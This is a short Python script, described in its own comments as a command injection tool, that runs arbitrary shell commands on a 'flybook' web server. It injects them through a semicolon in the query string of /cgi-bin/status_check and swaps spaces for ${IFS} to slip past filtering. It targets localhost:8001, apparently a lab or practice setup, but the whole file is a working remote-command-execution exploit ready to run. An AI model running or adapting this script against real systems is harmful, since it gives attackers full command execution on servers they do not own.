#!/usr/bin/env python3
# Command injection script
# Run whatever you want on the flybook server
import http.client


def cmdi(victim, port, cmdi, verbose=False):
    # Error checker
    errors = ['&','#']
    for command in cmdi:
        if any(err in command for err in errors):
            print("'&' and '#' are not accepted as characters")
            raise ValueError(command)


    # Send command
    spacer = '${IFS}'
    conn = http.client.HTTPConnection(victim, port)

    for command in cmdi:
        conn.request("GET",'/cgi-bin/status_check?;' + spacer.join(command.split()) + '||echo')
        res = conn.getresponse()
        if verbose:
            print(res.status, res.reason,'-', command) 
            print('-'*80,res.read().decode('utf-8') + '-'*80,'\n')
        
    conn.close()

if __name__ == '__main__':
    import argparse

    parser = argparse.ArgumentParser(description='Command Injection Flybook Website')
    parser.add_argument('command', type=str, nargs='+', help='A list of commands you want to run. Should be surrounded in quotes.')

    args = parser.parse_args()

    cmdi('localhost', 8001, args.command, verbose=True)
